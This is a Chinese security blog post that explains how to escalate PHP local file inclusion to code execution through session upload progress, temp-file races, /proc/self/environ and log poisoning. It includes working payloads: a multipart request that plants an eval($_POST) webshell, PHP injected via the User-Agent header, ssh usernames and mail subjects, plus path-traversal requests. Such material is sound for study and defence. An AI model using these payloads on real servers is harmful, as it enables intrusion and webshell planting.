LFI2RCE

  1. 1. LFI
    1. 1.1. session upload_progress
    2. 1.2. tmp
    3. 1.3. environ
    4. 1.4. log
      1. 1.4.1. access log
      2. 1.4.2. ssh log
      3. 1.4.3. mail log
  2. 2. Reference

最近遇到了比较多的通过 LFI 提到 RCE 的漏洞利用方法。尤其是在遇到有 phpinfo 的情况下,这里做一个简单的总结与介绍。

LFI

  • 利用 session upload_progress
  • 利用上传临时文件窗口期
  • 利用环境变量
  • 利用日志

总的来说,一般可以用 session 包含的方式尽量避免用 tmp 竞争的方式…血的教训…

session upload_progress

条件:开启session.upload_progress.enabled,session 文件路径已知,且其中内容部分可控。

session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态

当一个上传在处理中,同时 POST 一个与 INI 中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当 PHP 检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefixsession.upload_progress.name连接在一起的值。

php 的 session 文件的保存路径可以在 phpinfo 的 session.save_path 看到。

常见的php-session存放位置:

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

我们可以构造一个上传界面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>

<body>
<form action="http://zedd.cc/" method="POST" enctype="multipart/form-data">
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
</form>
</body>

</html>

发送以下的 HTTP 请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /?file=/tmp/php/sess_a HTTP/1.1
Host: xxx.cc
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://zedd.cc/upload.php
Content-Type: multipart/form-data; boundary=---------------------------695725616119701971467121808
Content-Length: 703
Connection: close
Cookie: PHPSESSID=a
Upgrade-Insecure-Requests: 1

-----------------------------695725616119701971467121808
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php file_put_contents("/tmp/a",'<?php eval($_POST[\'a\']);?>');?>
-----------------------------695725616119701971467121808
Content-Disposition: form-data; name="file1"; filename="1.txt"
Content-Type: text/php

1
-----------------------------695725616119701971467121808
Content-Disposition: form-data; name="file2"; filename="2.txt"
Content-Type: application/octet-stream

1
-----------------------------695725616119701971467121808
Content-Disposition: form-data; name="submit"

Submit
-----------------------------695725616119701971467121808--

但是因为 PHP session 会话机制的关系,仅仅一次包含得到的sess_a文件为空,所以我们需要竞争包含,使用 burp intruder 等形式都可以。

大概30次可以成功7次左右,可以看到包含文件回显,但是看不到具体的文件内容,因为有部分 php 代码被解析了,所以我们可以使用tail -f监测sess_a的文件变化查看文件内容,可以看到内容如下:

1
upload_progress_<?php file_put_contents("/tmp/a",'<?php eval($_POST[\'a\']);?>');?>|a:5:{s:10:"start_time";i:1559816745;s:14:"content_length";i:690;s:15:"bytes_processed";i:690;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:5:"file1";s:4:"name";s:5:"1.php";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1559816745;s:15:"bytes_processed";i:0;}}}

可以发现其中有 php 代码,所以当我们使用include包含该文件的时候会执行该文件当中的 php 代码,让其执行。

tmp

条件:tmp 文件路径已知

php中上传文件,会创建临时文件。一般默认 php tmp 目录在 linux 下使用 /tmp 目录,而在 windows 下使用 c:\winsdows\temp 目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

如果存在phpinfo()界面即可配合phpinfo()界面的回显来利用,例如向phpinfo()界面上传一个文件,可以得到文件名的回显,再利用一些方法阻塞服务器的操作就可以进行包含了

具体流程如下:

  1. 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
  2. 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
  3. php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
  4. 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
  5. 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
  6. 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

可以参考脚本exp.py

environ

利用条件:

  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。

在某些环境中,如果存在读取/proc/self/environ的权限,可以检查是否环境变量存在有与 HTTP 环境有关的变量,例如HTTP_USER_AGENT等等

1
2
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

类似地,/proc/self/fd/id(或它的符号链接:/dev/fd)可以与 HTTP Referer 字段结合使用,以通过 apache2 将 payload 注入打开的错误日志中。 但是要确定当前进程的文件描述符。

log

access log

利用条件: 需要知道服务器日志的存储路径,且日志文件可读。

很多时候,web服务器会将请求写入到日志文件中,比如说 apache 。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入 error.log。默认情况下,日志保存路径在 /var/log/apache2/。

在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。

ssh log

利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

用ssh连接:

1
[email protected]:~$ ssh '<?php phpinfo(); ?>'@remotehost

之后会提示输入密码等等,随便输入。

然后在 remotehost 的 ssh log 中即可写入php代码

mail log

如果服务器存在邮件服务,则可以通过邮件发送 payload ,并在/var/log/<user>下包含相关日志(每个其他用户都有自己的文件)。

1
2
3
mail -s "<?=phpinfo();?>" [email protected] < /dev/null
---
GET vulnerable.php?filename=../../../var/log/www-data HTTP/1.1

Reference

PHP Sessions的妙用之 将 LFI 转换为 RCE

php文件包含漏洞

CVV #1: Local File Inclusion


Article Author: Zeddy

Article Link: https://blog.zeddyu.info/2019/06/07/LFI2RCE/index.html

Copyright Notice: With the exception of the special statement at the beginning of the article, all articles can be reprinted in accordance with the CC BY 4.0 agreement with the author's permission.

浅谈端口扫描技术 2019强网杯部分Web wp

Comments